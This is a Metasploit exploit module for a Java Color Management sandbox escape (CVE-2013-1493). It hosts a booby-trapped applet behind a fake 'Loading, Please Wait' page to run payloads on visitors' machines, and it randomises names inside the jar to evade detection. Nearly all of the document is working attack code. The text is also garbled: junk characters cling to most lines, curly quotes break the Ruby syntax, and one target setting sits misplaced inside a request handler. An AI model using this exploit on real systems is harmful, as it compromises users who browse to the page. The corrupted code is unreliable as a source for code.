##" a4 O1 ~- a( I: H, `1 @4 I! R4 X
; p8 H! _; W$ l3 m! [3 \1 j# This file is part of the Metasploit Framework and may be subject to
- v" A: Y( M( s9 F/ D3 ^9 F# redistribution and commercial restrictions. Please see the Metasploit
6 B8 j- s; Q v# web site for more information on licensing and terms of use.' E, j2 w& F) z0 G& e
# http://metasploit.com/0 x m7 o1 L2 B, g- O
##2 C4 w* A9 }$ ]+ O/ _* ~- S
require ‘msf/core’* z C2 g" Q( O5 n0 n% {
require ‘rex’$ K2 i7 U( U4 n. g4 W
class Metasploit3 < Msf::Exploit::Remote
' w* B- }& o7 B; D! Q. [9 y- Q% m2 ?Rank = NormalRanking
. |# G. @9 Z+ s9 s* e( ginclude Msf::Exploit::Remote::HttpServer::HTML( w' ]4 o* N/ _$ S; J" C* d: I
include Msf::Exploit::EXE% c! B: {5 U+ o3 Z6 K! ~; Q
include Msf::Exploit::Remote::BrowserAutopwn
" F* h2 a; G9 W: b/ a2 u+ aautopwn_info({ :javascript => false }) a/ Q1 S" W' D5 b9 N
def initialize( info = {} ): s1 b/ G" L* f/ @1 L6 p
super( update_info( info,8 M6 A4 O# [/ z7 g+ r
‘Name’ => ‘Java CMM Remote Code Execution’,
% H0 d* ]7 J, z& x‘Description’ => %q{
# z( r, D2 d- k8 s+ jThis module abuses the Color Management classes from a Java Applet to run8 r1 f) m, Q2 {" C4 y0 `
arbitrary Java code outside of the sandbox as exploited in the wild in February: S7 |0 I. H+ O
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u419 d7 z, m& I* e3 L d$ E, ]+ u
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
, B& l* Y" _9 h6 m! w4 G5 B2 osystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
' s5 s1 _9 s4 d# s# {warning in order to run the malicious applet.
) ]6 g8 F q0 n},
- Q8 E. B4 b# U4 M; |1 v‘License’ => MSF_LICENSE,
: n" z+ q6 l7 N* `* g% s‘Author’ =>' B: X7 F$ B, r( ]; g! Z7 |" A
'Unknown', # Vulnerability discovery and Exploit6 S6 b7 b" g1 p9 B
'juan vazquez' # Metasploit module (just ported the published exploit)$ b7 ~# @( b3 w- x$ @% q
],
' h7 `( S9 F' T& @4 b‘References’ =>
% {* i" J3 L Y# ]& _% C[
6 z7 E8 R: @7 W% b/ y4 E[ 'CVE', '2013-1493' ],
( v9 N/ ?2 X0 \[ 'OSVDB', '90737' ],0 f' y& ?9 B. u! X& H6 q9 t( m
[ 'BID', '58238' ],: ?, g* u. i6 ~* [
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],7 |% A% s- f* f: {# _5 g% ]0 c3 W
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],8 Q" d O, l- Y+ s- Q
[ 'URL', 'http://pastie.org/pastes/6581034' ]
) r [/ {/ k; e9 s, H5 o7 V/ W% W4 n],
/ U6 n3 \6 F& L8 g. C5 _8 C4 h‘Platform’ => [ 'win', 'java' ],$ l* l* i* x0 } n
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
! ^1 G, {7 K, f: W‘Targets’ =>
Q4 t/ l- T- ^0 v; h: W[
- D& l2 a, i+ Q. E. z5 g- _[ 'Generic (Java Payload)',
: a+ r' J) p/ O' R& J! K' H# _{
- F; `% y! u6 o6 H& x'Platform' => 'java',
& d, ^0 e5 T% X" v'Arch' => ARCH_JAVA
6 v9 d' ^, `' J: Z( Y& e {}
% r) U* L/ a4 I0 S],
5 Y: t5 t5 C- A4 j" u% j- _4 h[ 'Windows x86 (Native Payload)',
; [/ c: l* r9 i* W1 u/ ]{
. {" L! O3 V" F* D'Platform' => 'win',
) F |. n$ }6 }: E/ V'Arch' => ARCH_X86
* t5 S1 N* |& w. z! T}
+ ?+ x B1 y9 O$ `]
3 N. k( _" m3 v; f: e/ F4 t]," `- Y4 B2 G! L
‘‘DisclosureDate’ => ‘Mar 01 2013′2 D! q- k3 l( L
)), S. x) G* T2 n8 f% k3 S
end
! n/ e1 ^ P) E8 }5 D* zdef setup( q3 A I7 K; U! o6 N
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
. K: `1 z5 B% M: C, q@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }4 Y4 e, k F- y8 r- w
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
" k) z- Y1 q% N$ t. N@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 f6 b5 B4 w3 g+ a( q. ]: W6 q0 Zpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
3 E; \+ N5 s! X/ k@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
y9 }0 ]- ?$ {& R- Qpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
7 H H$ M% P4 i# C& g, x@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
) o% I8 Q5 B; f, N2 O" u. N@init_class_name = rand_text_alpha(“Init”.length)" y7 y' m" `1 A; U
@init_class.gsub!(“Init”, @init_class_name)
& f" `" t, m7 c# `* o" m" P- bsuper
* u+ m$ R9 {1 d; C8 J! D+ yend) _" X; k) ?& Z; H% ]
def on_request_uri(cli, request)- H. l- p' A7 E
print_status(“handling request for #{request.uri}”)
' [$ g8 z5 q* Z) _! A( Bcase request.uri" ]! W: z4 z/ M& }9 i u2 J6 j$ c. R
when /\.jar$/i
' X5 H- ]& J U2 b) K( L) fjar = payload.encoded_jar
, \" B# n7 _4 c& Djar.add_file(“#{@init_class_name}.class”, @init_class)6 Q1 {7 P9 N" U& G7 f! \
jar.add_file(“Leak.class”, @leak_class)7 C( i$ O( n' n6 I3 U% y
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
3 w5 u/ p* ^4 ~& J, njar.add_file(“MyColorSpace.class”, @color_space_class)' L* Q0 Y' e$ l$ p% j3 m& g
DefaultTarget’ => 1,
. w: U1 @' v! _3 v+ I5 o* pmetasploit_str = rand_text_alpha(“metasploit”.length)- |3 w P. T+ W
payload_str = rand_text_alpha(“payload”.length)- H/ b `6 |! T. ~+ G0 B, I& v0 K
jar.entries.each { |entry|( I) t" {2 Z& I( h
entry.name.gsub!(“metasploit”, metasploit_str)6 q9 Q. W4 {5 n% L* [
entry.name.gsub!(“Payload”, payload_str)# F6 K" g0 G! {+ w1 \' h9 f
entry.data = entry.data.gsub(“metasploit”, metasploit_str)0 k A" A" q7 q& }. ~) u1 |' l& Y
entry.data = entry.data.gsub(“Payload”, payload_str)
( t, y5 q/ i0 C' l) h# s}
" Q+ D" F9 l4 Fjar.build_manifest
( x7 b+ b9 d, v9 B4 fsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
1 S( N2 y9 @: S3 a0 b4 u# Twhen /\/$/
* p8 @7 o t. R0 `/ e* T: Xpayload = regenerate_payload(cli)
; ?- u# v b" } pif not payload H6 P. T$ e5 ~& }4 ^( J- V5 [
print_error(“Failed to generate the payload.”)6 A) s7 C' y" O& a$ i' {! r0 M+ p
send_not_found(cli)
+ @ a* g: [. k* |& treturn
' i/ f2 |7 D7 t" oend4 ^/ G: G' _4 U/ R, D5 A
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
+ |# C" }* M1 Q! j( H' O8 velse
4 j: d# j' Z3 `. Bsend_redirect(cli, get_resource() + ‘/’, ”)
- M5 d+ I; S4 S, send
: l( @5 R6 W* m# E1 @4 E' h1 {: @! Nend
# Q: u P) y: S. I3 U( t3 fdef generate_html# |7 O. q7 Y) v
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
; w. {: O8 R7 @6 F2 A; S. ^html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
}! z1 O* |9 @html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>| M) d+ O1 p$ j/ ]7 D
html += %Q|</applet></body></html>|
/ L# ?# W$ }5 Yreturn html2 l: r' V' i& h4 f
end
- V$ d- c8 `; J: Pend& t) D6 i# u; G9 Y
end
8 E! n' y" W, s# F1 y1 q |